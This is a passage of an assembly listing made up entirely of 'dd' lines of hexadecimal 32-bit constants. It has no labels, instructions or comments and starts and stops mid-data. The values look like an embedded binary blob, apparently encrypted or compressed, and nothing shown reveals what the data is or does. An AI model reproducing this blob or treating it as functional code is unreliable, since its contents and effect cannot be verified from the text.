952950DEh, 0BD5E2BCDh, 710FFCE8h, 1CC922Ch dd 460E001Bh, 0CAFCAF65h, 0F404C088h, 105EB9F8h, 27A068A7h dd 6428ED11h, 0D25EC3Fh, 989ADD2Dh, 19513773h, 0F04243FEh dd 97325741h, 2E809AB7h, 0BF9FD50Dh, 4BDC7EB6h, 0C9CFE84Dh dd 2A250431h, 7BA4F6FAh, 181BDD20h, 1251D22Bh, 5F812575h dd 301FDB2Bh, 0DF8127B5h, 40FC14EDh, 0FA4FC559h, 31E17D12h dd 8FF4DE6Ah, 0A2C78736h, 573A1972h, 1564D14Dh, 33119C60h dd 0CE1BD13h, 6003D9EEh, 4B94F90Ch, 0D497D727h, 41201845h dd 268BC9A4h, 3A110D26h, 0BDDBFBADh, 282FEF71h, 0B6AFA453h dd 3CE8B5C5h, 0DE31C84Eh, 92DC9D38h, 50E41EDh, 33DE13B8h dd 3CE014C0h, 0BE4CB273h, 0ED9C7ABh, 74EDE1D0h, 455602E4h dd 0D88EB7A2h, 9D1F6C77h, 0DF8B6798h, 558FFEF1h, 0FADC8ECBh dd 5EE1FF62h, 0DE4EDCA9h, 56780481h, 36A282Fh, 53680541h dd 17D7F892h, 1FAC3EB0h, 0B51BE380h, 3925DBA1h, 115DE579h dd 25A24CFBh, 707054C5h, 44AB286h, 0A1E870FDh, 60498275h dd 5899BC94h, 0AFC02EBAh, 0F7E2F432h, 0FD4DB700h, 89226C6Fh dd 24B212D1h, 2B63F1F2h, 9587799Bh, 373F4263h, 0B8419D76h dd 3F603B8Eh, 6BFAB723h, 244D3C03h, 0B8DA9407h, 0B0E8BB9Ah dd 0F10D4A33h, 0AF6F2AB9h, 9D78D01h, 2B0B31B5h, 4E26B6CCh dd 0A0E7A701h, 5CD1962h, 0ABAD3650h, 2E60B117h, 1A23966Bh dd 9CCEAB07h, 0DF620A12h, 3021F440h, 7AF5DBBDh, 2B1E2E19h dd 0BD4B21E3h, 0BC684DD9h, 239A1652h, 8D84BF9Dh, 75C910B9h dd 0BF009F79h, 2A393511h, 0BCDA1EBBh, 0D868C0AEh, 6667D2C4h dd 872C7495h, 0ACCDC727h, 0E19AB942h, 644CEDB5h, 75B96414h dd 32F5D99h, 7D02CAE9h, 2F015E3Dh, 1BBBDFC4h, 9720F6D4h dd 0B75F8292h, 516989B1h, 8008757Bh, 0BE10AD0Bh, 0B609EF30h dd 799BA281h, 0FC73AD7Ah, 0E4181B59h, 41353D00h, 6DBC213Eh dd 0E637B789h, 0EF0AF8BEh, 0C0A86539h, 0D92DED09h, 664D6928h dd 7D32DF43h, 52C6093Eh, 0F370CF99h, 0E2ADDE25h, 0DCA27CC4h dd 8A4C4B00h, 859856C1h, 0CF81025Dh, 0F93FC0Eh, 509F704Ch dd 50084049h, 6195BF09h, 0AC47564Eh, 1FB10933h, 18EC5C74h dd 6B3341A1h, 30938CE2h, 0D27D8097h, 0F4976C00h, 55721971h dd 1569005Dh, 9CC2BB66h, 0F89C505Fh, 7948B140h, 7DE40071h dd 0BB87C32Eh, 860D8A5Bh, 0EB8B02C0h, 0EAE284D3h, 7ECAA200h dd 7B0C436Ch, 2A55C102h, 0CA820F15h, 6316107Bh, 5CCF000Ah dd 5D6A7A4h, 0CC1601DAh, 0CD45F5Bh, 0D02A2EBh, 0EC58D98Ah dd 57F35D6Bh, 327EBA85h, 275DE94Fh, 5410FF52h, 15003C82h dd 6B64D95Eh, 61CA47h, 6656905Bh, 5F0B1DBFh, 0BB076CBEh dd 4CF8830h, 0F8F69061h, 713E91E0h, 53E4A302h, 745FFBB7h dd 1A47D618h, 72F26700h, 89869B60h, 96E9B55Bh, 4DCD612Fh dd 9CAE01C4h, 0F1B52C14h, 0AB8EC546h, 6E0096B7h, 14A3A12Dh dd 0A93A0464h, 81E89227h, 6A8D79BBh, 52A8D7FDh, 45F78000h dd 0E9DA8B89h, 86DB9548h, 16E48DD8h, 0B13D5389h, 0B0F9017Bh dd 31A94196h, 8DB32B0Ah, 0BD0305BAh, 0F0A928DDh, 8209E3E8h dd 0D1AAA401h, 5C84E59h, 518D0902h, 359CDD1Ah, 594EFD4Dh dd 70BC32h, 16A764D5h, 3BB728CFh, 56618FBEh, 0B92AFB8Bh dd 0AC19ACEFh, 172B02FAh, 1558B79Ch, 0DA572FC2h, 2D669FBAh dd 189C6C09h, 0C0B55D3Dh, 0F4811791h, 2A8DAC97h, 6BA9CEEDh dd 0E7024D60h, 129800BDh, 0ED3F4923h, 9D128BB2h, 67AE2EE9h dd 39A2E01Eh, 5A0010D2h, 0B6282D7Fh, 9D1B2304h, 9BD4F276h dd 3C6C80CFh, 6DCE6A5Fh, 1096F52Dh, 0D370A3h, 4ACF684Bh dd 0BFF7DAABh, 0A329430Eh, 150295Bh, 96C9C1AFh, 0EAF4DF66h dd 136ADFA0h, 1502D57h, 76C781D8h, 4B0C2675h, 0D86FA689h dd 0CD1E7F44h, 8487F666h, 40238346h, 0B3EB8F0h, 0BB7D4BBDh dd 1E015721h, 0BCA2BD2Fh, 94AD0029h, 140C4E68h, 995DF4FFh dd 0D9B5C904h, 0BA606598h, 0F52545B2h, 81C0FB76h, 27459CD7h dd 8D462513h, 35853116h, 57FC2856h, 5AFE64Eh, 530EA8FAh dd 9724A4E0h, 0B1E8044h, 0B461A19Dh, 0C02BBC41h, 4BA8C4BFh dd 0C1A9D6Ah, 5DA7E603h, 5B740BDFh, 0CED700DCh, 0C9936610h dd 95F7E98h, 16925EA8h, 60F89027h, 4C975856h, 2150BD3Ah dd 0D7254297h, 96504165h, 0AD600054h, 84E62DA5h, 6BE3B70Dh dd 0B6B438E6h, 895E3860h, 0E4218AACh, 7BEC1E0Ah, 1E4481E1h dd 0D04DDE83h, 3804202Ah, 4EF10179h, 659D6AA8h, 5F5AAD46h dd 9DCCE489h, 0D5135FC5h, 0FD51AAFEh, 7ABB4F86h, 2A7100D2h dd 0BC72F6E9h, 1C61C54h, 0A22E938Dh, 7B9AD252h, 754F1782h dd 0E525DBDEh, 0AB8F1254h, 172D17Bh, 0E0B5F879h, 2C659531h dd 1500966h, 0F6A9FD85h, 6608F678h, 3BAE10BAh, 0BF8E0F97h dd 51D81039h, 0F210D35Fh, 0A75300C8h, 0A8277DDFh, 1C7C09A2h dd 0E97D5EBBh, 3C8B5BE7h, 65739661h, 2320870h, 0DCCEEB47h dd 60751EA7h, 0B5E0200Bh, 44F8A9C1h, 0CFE7FEF2h, 2531C0B0h dd 32AE775Eh, 0E8E3B564h dd 0E4ED0C5Ah, 837239ADh, 9091F929h, 5BF2FBE9h, 972CFFBEh dd 0C07C0FC6h, 972057D8h, 367A758Dh, 1C716293h, 231F5A18h dd 6B423111h, 5C30D387h, 0BE0D12FAh, 0C9BC9574h, 484B6DA3h dd 1FD3929Bh, 62EF417Ah, 3A3C8CD2h, 0EBB9C775h, 0BBFD60A9h dd 5CBFC670h, 0EF28DCF3h, 9E6F5D5h, 0FCCC769Fh, 0B5A30BDh dd 0ABCA4A4Ch, 9DE91E20h, 94FF71F1h, 0DE9DDC42h, 57F9A7C8h dd 88C44A00h, 0A8358Ah, 2E0A40E0h, 970F7152h, 6C0EE109h dd 950901B3h, 0D03E1BBDh, 8B69C7B4h, 666EC14Fh, 0D21D2F00h dd 0A238634Ch, 4B826C4Eh, 82BA5D1Fh, 1D0162DEh, 0FC8A508Bh dd 0AC4B8C68h, 8D0F04B0h, 0E2FA6A2Ah, 3F1D008Bh, 0DBBB0791h dd 0FD26007Bh, 0B962973Ah, 8B1738C3h, 0DBBA5BDFh, 55D8C25Dh dd 0CED96Bh, 0F5CC9A6Fh, 0EF006614h, 61D5470Ch, 0F7540192h dd 28BD31E0h, 126B1BC1h, 0FE48FA52h, 1805F9Bh, 8B34611Fh dd 407E95h, 1618C8BFh, 66779043h, 0FCF1072Fh, 677460C0h dd 850189DEh, 472AEFF4h, 2828F0D3h, 0CEA0EB8Fh, 2386FF56h dd 0D70F9D25h, 905FCC18h, 0AD3379Fh, 0BE9D6AFh, 2362E060h dd 0AB84BB3Dh, 5DFE509Ah, 0B4BD270h, 0B8625917h, 9182B5D7h dd 5A668019h, 481232F5h, 0BE4A1145h, 93882235h, 1D48FCCBh dd 1D4B7303h, 0FF2B8643h, 342794D1h, 11DF45F4h, 0E2BF006Dh dd 6A78DA52h, 0DC8DBE02h, 9D8B9604h, 73F91A95h, 17A5522Ch dd 0C05F3488h, 0DE8B53A4h, 503492B2h, 0D5EB3690h, 88B89B1Dh dd 0DCC8C01Bh, 0AF02B719h, 0E9BE4DFEh, 0C8C7D722h, 7CFA5C08h dd 3080D29Bh, 0AE31BB95h, 0ED701E3Eh, 0DAD3B29h, 9FCEB7FFh dd 0AD945721h, 0A7CC4B66h, 197D09BBh, 1EF8769Fh, 668D824Ah dd 0F0D1F66Bh, 0BFD8DD13h, 6DC66D54h, 9D0309C5h, 16233101h dd 0E8B40995h, 2D04A5B8h, 94E91628h, 0BAD4829Eh, 0D9FD745Ch dd 0F30FBE72h, 9B726AB3h, 0D7C9831Dh, 9A4817D0h, 71120E5Ah dd 0AE9CAF12h, 9D098812h, 910CED4Ah, 5BC9E1B0h, 380AA317h dd 4A35B39h, 2223467Ah, 0A6DE9FECh, 17F30633h, 0B0C8B61Ch dd 185AD852h, 85C6F1ECh, 0E49567DDh, 1FC000F7h, 0C48BF716h dd 9101FE2Bh, 423CC1B0h, 8220602Dh, 0D81A4105h, 0B7A8ED8Dh dd 61B05B61h, 4585291Bh, 91BABC21h, 42FB1FAh, 4484BBCh dd 311246C1h, 0FDB8E8E7h, 6B9AEC09h, 758ED02Bh, 0D167C4B9h dd 0A230BB60h, 0BF69850Bh, 6FE91C23h, 43BB1902h, 0E0627577h dd 34C5065h, 0BD894755h, 4D490999h, 0E1072FF7h, 0C82E1BA7h dd 3B3CBB48h, 0DF2BA5FBh, 0DF8100B8h, 8A3F2502h, 5737E9F8h dd 9A97CB46h, 6EF90240h, 44417478h, 0C7F15621h, 0B44602Fh dd 1542659Dh, 4E8D5944h, 0A928BEA5h, 5744C50h, 0C1C46027h dd 8209A37Ah, 0C1BE011Ch, 59000CA5h, 0A2B761F8h, 7D2DF566h dd 0CE72F1DBh, 578D0337h, 0FA4E6EE6h, 3FB9BC80h, 0F88B95A8h dd 9FCFAC1h, 73BB0585h, 0CB7EBCCBh, 43897751h, 4FBFC25Ah dd 90EF40C2h, 0D2592BC0h, 2568BC85h, 92C036C4h, 1E9DCAF6h dd 0C0EA800Fh, 0DC12946Eh, 0CDB06D1Fh, 880D0F85h, 4B37BBEh dd 57F317A8h, 2ECD1B81h, 9E795B02h, 0A19C099Dh, 4084E27h dd 0CF0F6FBFh, 0AD07E850h, 5B0DA820h, 2CE7A25h, 57657EF5h dd 1709770Eh, 3C4EF071h, 0FEA95B38h, 0F15FEABDh, 0C1B589CBh dd 46DE8976h, 1CAD5F1Dh, 5CDD6F83h, 2F96013h, 4A3B6FBEh dd 7EB04360h, 0E1FF28FAh, 28B127D7h, 0D473137Ch, 407EDE54h dd 33486030h, 408273ACh, 9761FE3Fh, 32DCB94h, 40034F04h dd 0F6997C7h, 7D538C4Ah, 0BBC0D5ACh, 545F99D1h, 61F49497h dd 0FA8B6B91h, 1EDB7B60h, 8031B580h, 0D15A275Ch, 56F4420h dd 0D4AD0069h, 77E27443h, 0D02D866h, 7996EB4Fh, 3DDD5EC7h dd 4975BB89h, 8B891B74h, 45847AFBh, 35E8011Dh, 46820431h dd 0D9D95DD6h, 0FEE520A5h, 98AC03Eh, 3487B6FDh, 47501676h dd 57BA97E2h, 13D4705Eh, 0EF48531Eh, 0DE507232h, 0DE614FF9h dd 2CC4C9E7h, 0B79B5ED7h, 45815C8Bh, 6F7DF442h, 0B3021B7Ah dd 0F88D8008h, 0DF52EC56h, 0DF9B50EBh, 14CB3FAEh, 436457FAh dd 5FD920C0h, 0BD953158h, 5E2FB356h, 0FC255587h, 4A2F0B06h dd 1A4A4A50h, 8993FCF2h, 9CB86AE5h, 2FB509B1h, 2B04F356h dd 0C11201B2h, 2FFE6E9Bh, 0A7817B35h, 70D5E172h, 0E964522Fh dd 3AC1E848h, 0C84B406Fh, 0FD77CF7Dh, 2A71870Bh, 19628250h dd 0FA02091Fh, 6F775CB5h, 22F76157h, 4105D4B2h, 71A5EE2Fh dd 0AEC6A534h, 12F50BB5h, 0DE9DDE51h, 0D9B1029Fh, 0DE8C5E1Ah dd 21121646h, 5F45E8ECh, 8DF042F6h, 91496FBh, 26C53FF3h dd 0CF02A760h, 60515061h, 976CF623h, 1F4758Bh, 0D2800DEh dd 1BE6AA9Fh, 330580AEh, 15518531h, 12238FF4h, 0F32BB710h dd 9A68029Fh, 5D3FF65Ah, 6507A5F9h, 77AAE959h, 6DF91DD6h dd 0EC1205CBh, 8C81ABA1h, 89BE0CB1h, 0CC72FD01h, 7F858D20h dd 0B185CE9Fh, 20F64803h, 2CA5D32Fh, 3C8209A5h, 87F5F832h dd 0F780611Eh, 4B0356FDh, 0D301A322h, 0EE93F39Ah, 97F2EF86h dd 8D093A21h, 0D3D5CE4Dh, 0EB0164DEh, 0BD055F89h, 1270EF7Eh dd 0E0993459h, 0FC5B8ADBh, 23BE70A6h, 60230514h, 42F2F8h dd 8C7191A1h, 0FF18273h, 0A058689h, 4788D721h, 0F7A3341h dd 4190AC6Ch, 61592A99h, 1F89DB41h, 0A172A77Fh, 1FF862F8h dd 139497CAh, 3381347Dh, 2EE95F5h, 0A45D88Bh, 552A1F9Ah dd 59700BD3h, 56C05E8h, 84F16588h, 0D1B7AB89h, 0C74A43F0h dd 0CECC6125h, 6B539DF9h, 27D1F550h, 90746F06h, 7A6F7769h dd 0B0DCD1E0h, 1876B5A2h, 9BBD4h, 5F14ACF0h, 0DCB51AF2h dd 66D54994h, 31D30411h, 0E8566050h, 0A40D80F4h, 0DEAD8936h dd 5D6AC160h, 715AB298h, 0FE942A43h, 73C6EAAh, 77914F93h dd 0B759D530h, 0A2EBAC6Fh, 0D6CC5624h, 4A061746h, 0AEB116C1h dd 95004CB9h, 2DEC9E19h, 84E647h, 3BBF49A3h, 91671DA2h dd 7695F15h, 2ABB97E1h, 825F8077h, 24B50CA5h, 8CC12ECh dd 2B022149h, 0DD2D29BDh, 0DC76933Ah, 0C0589C40h, 797B00A4h dd 91DAF572h, 0D1128554h, 9AFF6AF6h, 8CD8922Ch, 0C0D02D7Eh dd 95002163h, 8291E381h, 128940B4h, 0F2263185h, 19BF0323h dd 0F159F4C9h, 0C87A2050h, 0A900EAEBh, 0C5E17C1Dh, 2D01F5A5h dd 0A84358Dh, 5E75BA5Fh, 0AEC1099Ah, 2E8D54D9h, 0A15EA4F2h dd 55712E5Eh, 0DE6A8753h, 0E34580DBh, 41698F1h, 720E4F6Ah dd 2B62AFA4h, 1DC22F05h, 0EBD686FBh, 6A8CD817h, 965D25B7h dd 0DFADEDF9h, 0F00D0E98h, 0A2B1B402h, 5D5A5BEBh, 65488910h dd 0F97101F8h, 7F1A4100h, 3F0F2EDh, 17DB729Bh, 0CD5B6373h dd 7FE4D0ADh, 7CA27750h, 303C2F02h, 89965F10h, 98ADF5EBh dd 0F6A93FC4h, 9104BFECh, 0CFDF6987h, 23616BBAh, 0E9660118h dd 89222E5Ah, 0C92439A6h, 282F7629h, 1894A17h, 508AD168h dd 0D84660B0h, 3B0025EDh, 0BCE2070h, 16F7CC3Ch, 0ACFDE4F1h dd 57B7179Dh, 0B6C174EAh, 4082E208h, 0A509418Ch, 0D1D82DADh dd 69BF314Ah, 5F882E28h, 8742005Eh, 1F36B40h, 68608BABh dd 0D6CFA4EEh, 2445B9Dh, 5F77619Eh, 5D69665Ch, 0C3F6EFC4h dd 0D7BDF400h, 0C4F2D964h, 49330F70h, 3D6901AFh, 5F5BEB22h dd 3751815Ch, 34D38110h, 1891AE12h, 0F75864E3h, 3D84A125h dd 0E8D8BDC6h, 0A39409FEh, 9509DE99h, 0A9F36557h, 0CBFB01ACh dd 80D59D81h, 5CD2F7FEh dd 0B5D4E95Bh, 0C7FCFBD8h, 0AC12D802h, 0CDC18B19h, 0E64CE0B1h dd 0BB0EAA05h, 0D443573Dh, 9A916DEh, 0ABB47EE8h, 7600716Ah dd 0E29622F3h, 0BA0055D1h, 0C244BFEDh, 919051B8h, 0B1D380DFh dd 67CF9B07h, 0BB734Eh, 71BF6682h, 0F29F5B65h, 0F0F54D7Ah dd 1FFAD540h, 0F417A420h, 0D522C114h, 225C4007h, 3FB64909h dd 0DF5209DEh, 538B2F7Eh, 0D2B50DE4h, 0BCB725DFh, 0BFD34789h dd 35C3070h, 86EDCB37h, 0C78C46A1h, 2591E4D9h, 5402306Fh dd 48AF71F2h, 96DCD41h, 85C8242Ah, 0DB41EE33h, 20C59D33h dd 82ACDD2Bh, 0FF85838Ch, 31537FD1h, 0C1C8CE3Ch, 50D99DB9h dd 0B9B9F3EFh, 0C01DCECh, 66EC6922h, 0B5928A77h, 0D48FAF18h dd 401A693h, 0CE0AE012h, 0B453D5ACh, 245BBD03h, 0C5A49845h dd 2B0BB18Ch, 864AF38Ah, 0BF063CE0h, 4AA4250Bh, 0FB8B3030h dd 9589901Ch, 6E2F6125h, 0AFCBFEDh, 0D71FE942h, 58AA00C7h dd 23B9B380h, 54402FD7h, 6C1C7F03h, 25347239h, 3937DC2Ch dd 79589B00h, 122698E1h, 0B31BEC0Ch, 557650BDh, 8D6E2841h dd 98C56BB5h, 89A12752h, 0E0EEA72Bh, 4579A50h, 0B31B635Dh dd 4BA8AD64h, 0BEB40DE7h, 971716B6h, 0F797B40Dh, 5929B09h dd 0BFD1594Bh, 406AFE1Eh, 0EB81A2B7h, 0AA2C2DA3h, 99095351h dd 0F44CD410h, 23DC7AFDh, 9B0425D7h, 3D45DC6Ch, 0AE86621h dd 0B03B3892h, 50FE04Bh, 0A82B1641h, 0C3C2D75Ch, 70E6022Bh dd 33A905E0h, 0C9408282h, 71E4001Bh, 0AAE49BBBh, 0EFD1474Ah dd 0B9080104h, 0B7A39A08h, 4A8C49CEh, 294E8544h, 20D62BEDh dd 0C907FFCCh, 9C832400h, 52B9F323h, 464E01A2h, 1B3CC8A5h dd 0E373BCh, 0D80ED592h, 843825h, 16DFBAEFh, 0FFF222B7h dd 21370209h, 6CCA575Bh, 0C0ADD500h, 43984F60h, 7635D72Dh dd 29D42C1h, 0D07220Bh, 26F3568Bh, 0B3D115A7h, 30B5FB16h dd 0EC6B3B2Bh, 0E1566800h, 35235E9Fh, 427B457h, 0BC7CE95Fh dd 2E158405h, 49FC0713h, 0BBE00E4Eh, 23E668Eh, 36A2DAB5h dd 1287E5BDh, 6DEFDE80h, 69BAA112h, 1AAD8EEh, 2EB18511h dd 0B174630h, 6EF389BDh, 0FA012F9Dh, 0B67B2DCDh, 372B351Ah dd 3E5E62AFh, 7CCB025Ch, 0B36160ECh, 0A314F2BEh, 41E8E09Fh dd 0EAA90167h, 7612E12h, 8C05838Fh, 0AE0029C8h, 496487E6h dd 0C927Ah, 0CECC0538h, 0DF2183Fh, 99D0B12h, 4A175056h dd 0FD644040h, 0A44FE0h, 0E397F1E8h, 0CF53730Bh, 0C9050F0Ah dd 2DBBB66Ah, 9A7333h, 0ABC88F6h, 8500E282h, 268E3D5Fh dd 2C1D82Ah, 6E292C94h, 7BF770CFh, 6614512Ah, 0B9B50D92h dd 0A741B3B3h, 0BA481BE5h, 9EECBDFCh, 1749BD10h, 3037977Dh dd 0BF13F31Ch, 0FE5BC88h, 0FFDAD48h, 0DF3DB6C0h, 0BC008E33h dd 0D13CDED0h, 4ED981EFh, 5A72DBE8h, 0BB1F0EBBh, 1286A1C1h dd 0D545C2B8h, 0AE490038h, 103B8546h, 6DB0004Dh, 0BDCEBA1Ch dd 0FC137B39h, 0F9485196h, 755B1C25h, 0BA60E4F4h, 5D7B7BE1h dd 0DD040B3Eh, 8CE51ECEh, 27000A12h, 0B21461FFh, 1FB6429h dd 72DC8BEFh, 2E2A963Ah, 69F900F9h, 0FBB1809Bh, 0BF032BFAh dd 3BAE4AF8h, 3DC71600h, 4AB054E6h, 91E200D6h, 0BF89E84Ch dd 5D09CA7Bh, 5327EB8h, 0CBEEEDA3h, 0A5B65EDAh, 309188A1h dd 8C09D356h, 0E61BB726h, 9E619D5Fh, 0CAED6E29h, 815D6DB9h dd 0A563E768h, 0D2E0CB2Bh, 7F6AEBh, 0C99C7101h, 0EE8C7FF3h dd 0A3824B8Eh, 0DC0927B2h, 710249D6h, 97732AA5h, 1654E9D0h dd 1DE525Dh, 7D92E701h, 0D282F37h, 437E8A53h, 29C9C240h dd 9D350021h, 52D4A61h, 7C011CAFh, 0FE8A6FF6h, 55C2B85Bh dd 9B6123CFh, 54603160h, 0D68B8109h, 0AF617884h, 0DFB7DE61h dd 0D8CBB07Bh, 69DC1497h, 6FF47BC8h, 0BCDA00DCh, 9606167Ch dd 28627E6Eh, 0F7080D8Ah, 0AC1AC867h, 8AD1D560h, 9D1A6946h dd 95DC7B56h, 0AEE23F7Eh, 92FA7729h, 9F4DBF05h, 48C0270Eh dd 4A6BC381h, 0AC59845Bh, 0C3205AC5h, 0EEF444D8h, 372201DAh dd 5AFA2841h, 0D2092ED1h, 5CD072F8h, 0CFC2BABDh, 15563FCCh dd 40BE6DEBh, 0C4A8898Bh, 5B27F612h, 6660D6E3h, 2BD318E7h dd 1F402DF4h, 0BF500290h, 13E11A34h, 0AB9C8BD5h, 0D01ED39Fh dd 56BD9921h, 2F68402Dh, 7FF3BCAEh, 950DC4F0h, 0ADD0F301h dd 9142EEA3h, 0B3C29CC2h, 0BF1F96FBh, 5485894Bh, 6C32FC8Dh dd 221F489h, 0D1DDF6E9h, 96566B75h, 0A32502D4h, 0F4982FF8h dd 0E0E47875h, 0E00ABC18h, 0D62A9CBCh, 0EFE80200h, 4AB4735Eh dd 9EA21282h, 2E70E1E7h, 0EF8049EDh, 0F0F7C5CBh, 2500DE7Fh dd 0B67E54B4h, 4A790802h, 4F0AF7B1h, 0AD97C9DAh, 2457CBFCh dd 1213023Eh, 0E509C49Ah, 0D5E92A2Ah, 1F327A9h, 5C1CBBBh dd 8A3E820Fh, 0A9E20013h, 7A5BCB45h, 1F931EDCh, 7B644083h dd 717DD939h, 19792025h, 0A9E48121h, 16587BEBh, 0EA4689D4h dd 0E4930FDBh, 9C0BCDF9h, 2394045h, 2E2A6970h, 0B0891C4h dd 15645F96h, 0D8F90795h, 776E00B9h, 97B5FF97h, 87C2164Fh dd 85BC8241h, 0CA68002Bh, 2F12CD66h, 9E43DD8Ah, 0CCD26535h dd 1DE22DA6h, 9FB4477h, 86AE89E9h, 0BD67ECD5h, 4301C864h dd 1E385FDAh, 0DCD66E2Fh, 0EF8D65F4h, 4019E098h, 0E84A9021h dd 28DD39ABh, 95254F6Bh, 5E2CA2EEh, 1BAC06E9h, 0EC00E5ACh dd 74251C06h, 0C0BC073Ch, 0B61FA6Eh, 144E3D9Dh, 87F4FFBCh dd 0E3D21FF8h, 0A4398894h, 4E491347h, 38BCE9AAh, 0D6EAF5Bh dd 97940209h, 0B400D4D1h, 0C37877Fh, 2E4C042Fh, 0EBC6687Ch dd 9AEBCB3h, 7861F88Ah, 3E6D9770h, 92FA0C0h, 0B50AFE9Dh dd 0BA11CEE7h, 0BAD02925h, 0A79AD687h, 475B7D26h, 362C4071h dd 5F7B9132h, 91CEB5D7h, 0A4EC971Dh, 40D7F9C1h, 0ED30309Bh dd 0D7F7085Ah, 0CDBD0905h, 0E06FAE2Dh, 803B1D23h, 7013762h dd 270861ABh, 18DFF86Eh, 9496DA4Bh, 30EF403Fh, 3700832Dh dd 15FB7A18h, 3BA92E03h, 7259CF39h, 0A8615B2Fh, 58DB3A96h dd 0A3091C89h, 0CCA82AFCh, 0B3F9E554h, 0F7E98A5Eh, 0FB61F2C4h dd 1AA22FE6h, 0DEF9C1B2h, 2C064897h, 0B0D2F357h, 6D30278Ch dd 5E231DFh, 0A3D0A77Bh, 40088719h, 0AB5E9786h, 0F396E09h dd 25DBC68Ch, 26C52911h, 0AB5E0811h, 5D452E42h, 0E91F5C99h dd 7ED47874h, 4F787DB0h, 0B7A32014h, 0AA00FA18h, 8A6316F3h dd 0C5891Eh, 28C46ADDh, 0CF817267h, 0FA222904h, 2CB85F5Eh dd 8E399B5Ah, 6D6241DBh, 0E87BC9C6h, 0B5890AC2h, 60A5EF21h dd 880FE952h, 8C007AABh, 363211B2h, 25A1645Fh, 85D470B4h dd 5F6B9E24h, 0BA95B59Ch, 6059CD62h, 686FB986h, 0D995290Bh dd 0DA07930Ch, 0A3F15D2Dh, 50E85B49h, 0D0598338h, 5E6A89AAh dd 500DEFFh, 78152E57h, 0F68D09EFh, 67BB9530h, 26880FA1h dd 9011042h, 7FCA8100h, 611ACB2Fh, 917C7B9Dh, 7AC14F59h dd 0A63E3489h, 40ADF051h, 3CD07B11h, 1B9372DDh, 788CFF73h dd 0F0910DCBh, 7EBB104Bh, 3BB3ADA7h, 350C25F0h, 0C2A29A4Bh dd 2BF0F76h, 46CE0677h, 0D0F4F8A1h, 955CCE26h, 0ACBDD72Fh dd 669B0238h, 8AEE3E64h, 222F539Dh, 0D52155AFh, 4767E0D9h dd 4261CF09h, 73557212h, 0B2462D09h, 0E038BF00h, 605077E8h dd 64629457h, 0DAC3095Ah, 0BD2B2D11h, 574509D5h, 1F414295h dd 0C23EB978h, 0B45C2CFFh, 910A8AE8h, 79CB362Bh, 997D00F8h dd 9ABE0BE0h, 0AA8D5B4Bh, 0B52D1C20h, 5A93DFE7h, 1FC091DEh dd 164D8D89h, 50F2769Dh dd 3597046Dh, 801D11B1h, 0E28D329Eh, 7D5C3916h, 661A0581h dd 3AFBCBBBh, 69E919F9h, 875284EBh, 3822FC1h, 0A2E2D514h dd 7B00702Dh, 0BDB95495h, 1FD288Ah, 0F24D6A1Ch, 3BAC3A10h dd 0E916A0ACh, 40FABCBBh, 0D41C5DAh, 8A3CC1D9h, 1845D71Ch dd 1FD11E56h, 0F82A5881h, 9589C304h, 0E3EFF4C1h, 7FAB0016h dd 0B6475734h, 0D2D109A9h, 35569038h, 0A3599940h, 0BEE5048Ch dd 0EB698F4Ch, 0D8995AB2h, 66E52BF8h, 0E03C7010h, 653D0094h dd 0FF110954h, 272EB2Bh, 0E944FB00h, 0E156C18h, 0DC62B490h dd 3FB84A58h, 0F6EDCE6Ch, 8720AB5Eh, 946735B3h, 2FEF2089h dd 2EAD5569h, 2442E76h, 0B62519D2h, 9CF2A01Eh, 9CD15880h dd 0C6E5A4C0h, 7B0005F1h, 67360A38h, 24F761A0h, 3B9D8A6Ch dd 4E25BE4Ah, 500626Fh, 17339655h, 93020DD4h, 0B0601DDEh dd 40085C30h, 5D3CA49h, 8B53F53Dh, 1861878Dh, 3040DCh dd 82FE2A54h, 0A5F1664Eh, 1DFC795Bh, 9D10F820h, 81802C51h dd 38C2B7EBh, 599D5E78h, 1875AF4Eh, 6422B8h, 0AD636F7Ah dd 4D044876h, 4159EDFFh, 21D5BDh, 95BAB35Bh, 0B59703CEh dd 1C651C4Eh, 8D29C931h, 7510C277h, 1A647BCDh, 0B9A12360h dd 0D1FFC028h, 6E1C10B5h, 80030F27h, 0D1CB4A7Eh, 2DCAFDEh dd 0F25009B5h, 825FA035h, 482E62D5h, 9F5718E5h, 5BDA657Ch dd 0C95950CCh, 6AE91602h, 60482FA8h, 83206906h, 7A9002D1h dd 7F60A909h, 10086C6h, 0E3D66D72h, 2AEEFF8h, 3E54F40Ch dd 0F9755EDEh, 83263B56h, 0C4CAC772h, 0B82AFD90h, 95420E14h dd 9300F7D5h, 89F4E7E3h, 74098525h, 6A7652D1h, 0ABFBB040h dd 562D00D5h, 64756FDCh, 66713D47h, 0BBA3EF90h, 5F0102D2h dd 382FB1E9h, 2ED2DCB0h, 1DF379Bh, 0B1FC0C96h, 0B7F6709Ah dd 6EBDD04Bh, 0D76B7E51h, 0F38AD450h, 0CA583FE3h, 7AE06FEBh dd 88B99901h, 46BB64E9h, 0EA418E78h, 0C7D350CDh, 5EDC94B2h dd 0FA09C5CAh, 29AE39C5h, 0B3E86AE9h, 3F6BBB97h, 8DC0C959h dd 0C23803DFh, 9552ECB0h, 0FF6A0B82h, 0E307FD8Ah, 30D5EB39h dd 15D0C3Fh, 5A51231Ah, 0FCEE1086h, 0AB0E183Eh, 0E9408C90h dd 14947B28h, 0FE125FECh, 0FABAE0B0h, 71862D00h, 853170E6h dd 582FF1DDh, 2E75107Ch, 456CC695h, 5FE82FCAh, 0C76BB97h dd 7B920C4h, 7737BB05h, 0C68570B6h, 0A955320Ah, 0DC55C2A5h dd 0B819122Bh, 4EC69048h, 0DB38E8FCh, 5F38158Bh, 0BF7D825Dh dd 2D80BD9h, 0E986D709h, 45156482h, 4C886031h, 81B560E3h dd 0AD36CF06h, 275A5B63h, 265F2B61h, 27A7F90Ch, 4F798956h dd 42225F1Ah, 0F8C2759Ah, 139119D7h, 57B75310h, 0BF665F04h dd 0C8FEFA1Ch, 8D12095Ah, 4CF71089h, 0BEAA269h, 0A64BDB7Dh dd 0FEF22F25h, 0BE737B95h, 902F6990h, 3CE626Dh, 0C2435E17h dd 56029442h, 0E76FDD5Fh, 0BCEBAD40h, 2B72021Fh, 0F88E92DCh dd 416B195Eh, 0D7CD6092h, 0F8D68E2Ch, 9162031h, 103CB961h dd 31421B6Fh, 38FADF3Ah, 5C5B1519h, 4A25F962h, 0BD35122Eh dd 3E65B8C4h, 0DD80DF78h, 8A563153h, 3290FCF9h, 7EBBD85Bh dd 842C000Eh, 2723B063h, 2D7514FEh, 620ED776h, 7E16BA4Eh dd 65007D54h, 0BFF09E95h, 17897218h, 0BB0379BDh, 0CE76B57Dh dd 0E380FEA0h, 